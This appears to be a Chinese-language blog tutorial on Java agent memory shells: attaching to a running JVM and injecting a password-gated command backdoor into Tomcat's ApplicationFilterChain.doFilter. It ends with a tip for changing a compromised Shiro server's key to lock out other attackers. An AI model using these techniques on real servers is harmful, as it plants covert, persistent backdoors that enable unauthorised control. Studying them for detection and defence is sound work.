java agent内存马学习
文章目录
- 1. 什么是java agent
- 补充:一些重要的类
- ClassFileTransformer
- VirtualMachine
- CtMethod
- 2. 利用premain函数实现java agent
- 2.1 执行逻辑
- 2.2 利用javaagent修改加载到jvm前被拦截的类
- 3. 利用agentmain实现javaagent
- 3.1 执行逻辑
- 3.2 参考代码
- 1. 实现连接指定jvm进程的代码:
- 2. 实现agentmain
- 4. 利用agentmain实现内存马
- 4.1 修改spring boot中的Filter实现内存马
- 4.2 运行逻辑
- 5. 局限性
- 6. 其他思路
- 参考文章
1. 什么是java agent
本质是一个jar包中的类,有两种实现,第一种是通过permain()函数实现。这种javaagent会在宿主程序的main函数的启动前启动自己premain函数,这时候会得到一个Instrumentation对象
,我们可以通过Instrumentation对象
对还未加载的class进行拦截与修改。
还有一种实现方式是利用agentmain()函数
。VirtualMachine类的attach(pid)方法可以将当前进程attach到一个运行中的java进程上,接着利用loadAgent(agentJarPath)来将含符合格式且含有agentmain函数的jar包注入到对应的进程,调用loadAgent函数后,对应的进程中会多出一个Instrumentation对象
,这个对象会被当作agentmain的一个参数。
对应进程接着会调用agentmain函数,进而操作Instrumentation对象
,Instrumentation对象
可以在class加载前拦截字节码进行修改,也可以对已经加载的class重新让它加载,并拦截且修改其中的内容,跟进程注入差不多,具体做什么操作,取决于我们的jar文件中的agentmain函数怎么写
。
补充:一些重要的类
ClassFileTransformer
Instrumentation对象
实现对class的修改操作是依赖于ClassFileTransformer
接口中的transform函数。
ClassFileTransformer对象
会被当作参数传给Instrumentation.addTransformer
函数。此时Instrumentation.addTransformer函数其实执行的是其中ClassFileTransformer的transform函数。
VirtualMachine
public abstract class VirtualMachine {// 获得当前所有的JVM列表public static List<VirtualMachineDescriptor> list() { ... }// 根据pid连接到JVMpublic static VirtualMachine attach(String id) { ... }// 断开连接public abstract void detach() {}// 加载agent,agentmain方法靠的就是这个方法public void loadAgent(String agent) { ... }
}
CtMethod
同理,可以理解成加强版的Method对象。
获得方法:CtMethod m = cc.getDeclaredMethod(MethodName)。
这个类提供了一些方法,使我们可以便捷的修改方法体:
public final class CtMethod extends CtBehavior {// 主要的内容都在父类 CtBehavior 中
}// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {// 设置方法体public void setBody(String src);// 插入在方法体最前面public void insertBefore(String src);// 插入在方法体最后面public void insertAfter(String src);// 在方法体的某一行插入内容public int insertAt(int lineNum, String src);}
2. 利用premain函数实现java agent
Javaagent是java命令的一个参数。参数 javaagent 可以用于指定一个 jar 包,并且对该 java 包有2个要求:
- 这个 jar 包的 MANIFEST.MF 文件必须指定 Premain-Class 项。
- Premain-Class 指定的那个类必须实现 premain() 方法。
拦截到的class文件会被转化为字节码,然后传给premain函数,premain函数中可以调用Instrumentation类
中的函数对刚刚传送进来的字节码进行操作。等到操作结束会将字节码给jvm加载。
premain函数格式如下:
public static void premain(String agentArgs, Instrumentation inst)
2.1 执行逻辑
如果a.jar是bcd.class的javaagent,那么执行java -javaagent:a.jar bcd
命令后发生的事情如下:
- a.jar包会拦截程序执行过程中所有的类
- 所有即将被加载的类会按顺序变成字节码,然后将字节码传送给a.jar包中指定类的premain()函数当作参数。
- premain函数我们可以自定义,根据我们写的代码可以对传入的类进行更改操作。
- 操作完后这些类会被jvm加载。
这是其中一种javaagent的实现方式,必须在java命令执行时加上-javaagent参数。
2.2 利用javaagent修改加载到jvm前被拦截的类
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;/*** @author: rickiyang* @date: 2019/8/12* @description:*/
public class PreMainTraceAgent {public static void premain(String agentArgs, Instrumentation inst) {System.out.println("agentArgs : " + agentArgs);//下面这段代码会触发MyClassTransformer类中的transform函数inst.addTransformer(new MyClassTransformer(), true);}public class MyClassTransformer implements ClassFileTransformer {@Overridepublic byte[] transform(final ClassLoader loader, final String className, final Class<?> classBeingRedefined,final ProtectionDomain protectionDomain, final byte[] classfileBuffer) {// 操作Date类if ("java/util/Date".equals(className)) {try {// 从ClassPool获得CtClass对象final ClassPool classPool = ClassPool.getDefault();final CtClass clazz = classPool.get("java.util.Date");CtMethod convertToAbbr = clazz.getDeclaredMethod("convertToAbbr");//这里对 java.util.Date.convertToAbbr() 方法进行了改写,在 return之前增加了一个 打印操作String methodBody = "{sb.append(Character.toUpperCase(name.charAt(0)));" +"sb.append(name.charAt(1)).append(name.charAt(2));" +"System.out.println(\"test test test\");" +"return sb;}";convertToAbbr.setBody(methodBody);// 返回字节码,并且detachCtClass对象byte[] byteCode = clazz.toBytecode();//detach的意思是将内存中曾经被javassist加载过的Date对象移除,如果下次有需要在内存中找不到会重新走javassist加载clazz.detach();return byteCode;} catch (Exception ex) {ex.printStackTrace();}}// 如果返回null则字节码不会被修改return null;}
}
3. 利用agentmain实现javaagent
3.1 执行逻辑
- 确定要attach到哪个jvm进程中
- 使用id函数确定jvm进程的pid
- 使用attach(pid)函数链接这个jvm进程
- 使用loadAgent将我们的恶意agent.jar包添加进jvm进程中
- jvm进程会生成一个instrumentation对象并传到agent.jar包中指定类的agentmain函数中当作参数。
- agentmain函数执行。
3.2 参考代码
VirtualMachine.list()
方法会去寻找当前系统中所有运行着的JVM进程,你可以打印displayName()
看到当前系统都有哪些JVM进程在运行。因为main函数执行起来的时候进程名为当前类名
,所以通过这种方式可以去找到当前的进程id。
1. 实现连接指定jvm进程的代码:
可以理解成连接器,用来连接指定的jvm进程:
import com.sun.tools.attach.*;import java.io.IOException;
import java.util.List;/*** @author rickiyang* @date 2019-08-16* @Desc*/
public class TestAgentMain {public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {//获取当前系统中所有 运行中的 虚拟机System.out.println("running JVM start ");List<VirtualMachineDescriptor> list = VirtualMachine.list();for (VirtualMachineDescriptor vmd : list) {//如果虚拟机的名称为 xxx 则 该虚拟机为目标虚拟机,获取该虚拟机的 pid//然后加载 agent.jar 发送给该虚拟机System.out.println(vmd.displayName());if (vmd.displayName().endsWith("com.rickiyang.learn.job.TestAgentMain")) {VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());//将我们的jar文件添加到目标jvm进程中virtualMachine.loadAgent("/Users/yangyue/Documents/java-agent.jar");//从jvm进程中分离virtualMachine.detach();}}}}
2. 实现agentmain
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;/*** @author rickiyang* @date 2019-08-16* @Desc*/
public class AgentMainTest {public static void agentmain(String agentArgs, Instrumentation instrumentation) {instrumentation.addTransformer(new DefineTransformer(), true);}static class DefineTransformer implements ClassFileTransformer {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {System.out.println("premain load Class:" + className);return classfileBuffer;}}
}
4. 利用agentmain实现内存马
4.1 修改spring boot中的Filter实现内存马
具体是通过修改ApplicationFilterChain类中的doFilter方法实现,下面是agent.jar代码,依旧使用上面的连接器进行连接:
public class AgentDemo {public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {Class[] classes = inst.getAllLoadedClasses();// 判断类是否已经加载for (Class aClass : classes) { if (aClass.getName().equals(TransformerDemo.editClassName)) { // 添加 Transformerinst.addTransformer(new TransformerDemo(), true);// 触发 Transformer,重新加载TransformerDemo.editClassName所指向的类inst.retransformClasses(aClass);}}}public class TransformerDemo implements ClassFileTransformer {// 只需要修改这里就能修改别的函数public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain";public static final String editMethod = "doFilter";public static String readSource(String name) {String result = "";// result = name文件的内容return result;}@Overridepublic byte[] transform(...) throws IllegalClassFormatException {try {ClassPool cp = ClassPool.getDefault();//判断类是否已经被加载if (classBeingRedefined != null) {ClassClassPath ccp = new ClassClassPath(classBeingRedefined);cp.insertClassPath(ccp);}CtClass ctc = cp.get(editClassName);CtMethod method = ctc.getDeclaredMethod(editMethod);//读取start.txt中的恶意代码String source = this.readSource("start.txt");//将代码插入到dofilter函数的开头method.insertBefore(source);byte[] bytes = ctc.toBytes();//断开连接ctc.detach();//将更改好的ApplicationFilterChain的字节码返回并加载到jvm中使用return bytes;} catch (Exception e){e.printStackTrace();}return null;}
}}//start.txt内容
{javax.servlet.http.HttpServletRequest request = $1;javax.servlet.http.HttpServletResponse response = $2;request.setCharacterEncoding("UTF-8");String result = "";String password = request.getParameter("password");if (password != null) {// change the password hereif (password.equals("xxxxxx")) { String cmd = request.getParameter("cmd");if (cmd != null && cmd.length() > 0) {// 执行命令,获取回显}response.getWriter().write(result);return;}}
}
4.2 运行逻辑
5. 局限性
1.premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。
2.类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses()方法,此方法有以下限制:
新类和老类的父类必须相同;
新类和老类实现的接口数也要相同,并且是相同的接口;
新类和老类访问符必须一致。 新类和老类字段数和字段名要一致;
新类和老类新增或删除的方法必须是private static/final修饰的;
可以修改方法体。
6. 其他思路
利用shiro反序列化漏洞拿到shiro机器后,利用setCipherKey(org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag=="));
更改shiro的key,使得这个shiro机器只有你能rce其他人不知道key就不能。
参考文章
Java Agent 从入门到内存马
java agent使用指南
java agent内存马学习相关推荐
- 基于Java Agent内存马
前言 前面说完最常见的基于Servlet-API型内存马,这里再提一下Java Agent内存马,像冰蝎,哥斯拉工具的内存马注入都是基于 agent 的,以后用到再分析 大的思路 第一种是通过perm ...
- 【网络安全】Agent内存马的自动分析与查杀
前言 出发点是Java Agent内存马的自动分析与查杀,实际上其他内存马都可以通过这种方式查杀 本文主要的难点主要是以下三个,我会在文中逐个解答 如何dump出JVM中真正的当前的字节码 如何解决由 ...
- java内存马学习与理解
文章目录 1. 前置知识 1.1 java web 核心组件 listener filter filter的生命周期 filter链 servlet 2. tomcat 2.1 核心组件 1. con ...
- java Servlet内存马
Servlet web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns=& ...
- Java虚拟机内存区域---学习笔记
Java虚拟机 虚拟机: 定义:模拟某种计算机体系结构,执行特定指令集的软件. 种类: 系统虚拟机(Virtual Box .VMware) 进程虚拟机(JVM.Adobe Flash Player. ...
- 初识Java内存马检测
近些年,无文件攻击技术越来越流行.本文旨在介绍无文件攻击中最为流行的一种技术--Java内存马,让企业.用户了解和重视其危害性,提高防范意识,降低安全风险. - 全文约1500字,预计阅读时间为4分钟 ...
- 『Java安全』Tomcat内存马_动态注册Listener内存马
『Java安全』反序列化- 文章目录 前言 Tomcat Servlet API Listener介绍 ServletRequestListener介绍 ServletRequestListener调 ...
- Java内存马查杀GUI工具
注意:请勿在生产环境使用,存在打崩业务的风险,目前适用于自己搭建靶机分析学习 功能: 关于Java Web内存马查杀的文章和工具已经有不少,不过大都不够完善,各有缺点:于是我做了一款GUI版本的实时内 ...
- 从一个被Tomcat拒绝的漏洞到特殊内存马
介绍 今天研究内存马相关的东西,偶然间发现一处解析BUG 一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下 ...
最新文章
- 36张图详解网络基础知识
- 我的angularjs源码学习之旅2——依赖注入
- js 实现“倒计时” 以及 N秒后跳转页面
- 蓝桥杯-安慰奶牛(java)
- boost::timer模块检查在同一程序中使用 Chrono 和 Timer 不会导致链接错误
- 使用批处理查看.class文件内容--javap指令
- node.js 执行php,node.js - 如何利用php执行nodejs文件
- Oracle Groundbreakers 亚太巡演 2021中国区精彩抢先看
- [UML]UML系列——时序图(顺序图)sequence diagram
- 新手降NAT网络第十步曲,小编提供思路。
- 十大新兴编程语言_十大编程语言
- 一条SQL语句在MySQL中执行过程全解析
- VSCode: Acquiring CodeLLDB platform package 速度慢
- kylin build过程详解
- Leetcode #765 情侣牵手(贪心算法)
- java计算机毕业设计物流公司停车位管理源程序+mysql+系统+lw文档+远程调试
- codeforces-574B
- CC2640R2F学习笔记(一.开发环境)
- StringIO cStringIO
- 【笔记】嵌入式C语言随堂笔记
热门文章
- 外贸行业里的视频营销应该怎么玩起来?
- 从阿里巴巴IPO联想到创始人和资方关系
- 一、solr6.5的安装与配置
- 嵌入式面经汇总(一)
- Elasticsearch拼音分词插件安装
- undefined symbol: _Py_ZeroStruct错误一种可能的原因
- Arduino使用倾斜开关
- break怎么跳出多层循环C语言,C/C++ 跳出多重循环方法
- Android开发究竟该如何学习,跳槽薪资翻倍
- android开发之网络棋牌类在线游戏开发心得(服务器端、Java) 好文章值得收藏...